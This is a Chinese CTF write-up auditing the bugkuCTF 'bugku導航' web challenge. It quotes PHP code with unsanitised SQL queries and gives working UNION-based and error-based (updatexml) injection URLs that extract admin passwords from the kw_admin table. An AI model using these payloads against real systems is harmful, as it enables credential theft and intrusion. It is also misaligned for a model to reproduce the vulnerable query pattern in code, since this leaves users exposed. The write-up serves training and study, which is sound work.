代碼審計:bugkuCTF web進階 bugku導航兩處注入
bugku導航
bugku導航是bugkuCTF靶場中,web進階的一道題,存在源碼泄露,所以下下來審計一波。
https://ctf.bugku.com/challenges
下載源碼:
(可以看到有個flag-asd.txt文件,如果只是想通關的話,在線訪問這個文件即可得到flag值)
http://123.206.87.240:9006/1.zip
自行搭建,或者用bugku自己的網站也行。
代碼審計
使用seay工具進行初步審計,根據可疑點回溯。
因爲目標是拿到密碼,所以主要關注sql注入。
後臺admin的就不看了,前臺疑似存在四處注入。
頭兩個是一樣的,進入/include/smarty/plugins/function.list.php,關鍵代碼如下:
<?php
function smarty_function_list ($params , &$smarty){
$category = $params['category'];
require ("../common/config.php");
$sql = "SELECT * FROM `".$dbprefix."_sites` WHERE `Category` = ".$category;
。。。
}
?>
可以看到sql語句的 $category 沒有過濾直接使用,而 $category 來自 params 通過傳參進來。
全局搜索 smarty_function_list 函數,看一下調用之前有沒有過濾操作。
很可惜,似乎並沒有別的文件調用該函數。
/member/add.php 存在注入
那我們看到第三個,進入/member/add.php,關鍵代碼如下:
<?php
require_once 'inc.php';
$user = $_SESSION['userlogin'];
$type = !empty( $_GET['type'] ) ? trim( $_GET['type'] ) : "";
if( $type == "newok" )
{
。。。
}elseif( $type == "edit" )
{
$usersites = $db -> select("SELECT * FROM `".$dbprefix."_favorite` WHERE `ID`=".$_GET['id']);
$templates->assign("ID",$_GET['id']);
$templates->assign("Name",$usersites[0]['Name']);
$templates->assign("Link",$usersites[0]['Link']);
$templates->assign("Order",$usersites[0]['Order']);
$templates->assign("stype","editok");
$templates->assign("title","��վ��");
$templates->display( templates ( 'add.tpl' ) );
}elseif( $type == "editok" )
{
。。。
} else
{
。。。
}
?>
可以看到 select 語句的 id 值直接get獲取的,沒有任何過濾,存在注入。
代碼邏輯不難看出,在用戶登錄的狀態下,訪問 /member/add.php,在參數 $type 爲 edit 值時,可構造 id 參數進行注入操作。
給出exp:
http://123.206.87.240:9006/member/add.php?type=edit&id=1 union select 1,group_concat(Name),group_concat(Password),4,5 from kw_admin
/member/admin.php 存在注入
最後看第四個注入點, 進入/member/admin.php, 關鍵代碼如下:
<?php
require_once 'inc.php';
$type = !empty( $_GET['type'] ) ? trim( $_GET['type'] ) : "";
if( $type == "del" )
{
$id = !empty( $_GET['id'] ) ? trim( $_GET['id'] ) : "";
$db -> query("DELETE FROM `".$dbprefix."_favorite` WHERE `ID`=".$id);
$templates->assign("msg","ɾ���û��Զ���վ��ɹ���<a href=\"#\" οnclick=\"history.go(-2);\">����</a>");
$templates->display( templates ( 'msg.tpl' ) );
} else
{
。。。
}
?>
可以看到 delect 語句的 id 值沒有過濾,存在注入。
訪問 /member/admin.php,在參數 $type 爲 del 值時,可構造 id 參數進行注入操作。
delect 型的注入,所以我們選擇報錯注入,給出exp:
http://123.206.87.240:9006/member/admin.php?type=del&id=1 or updatexml(1,concat(0x7e,(select group_concat(Password) from kw_admin)),0)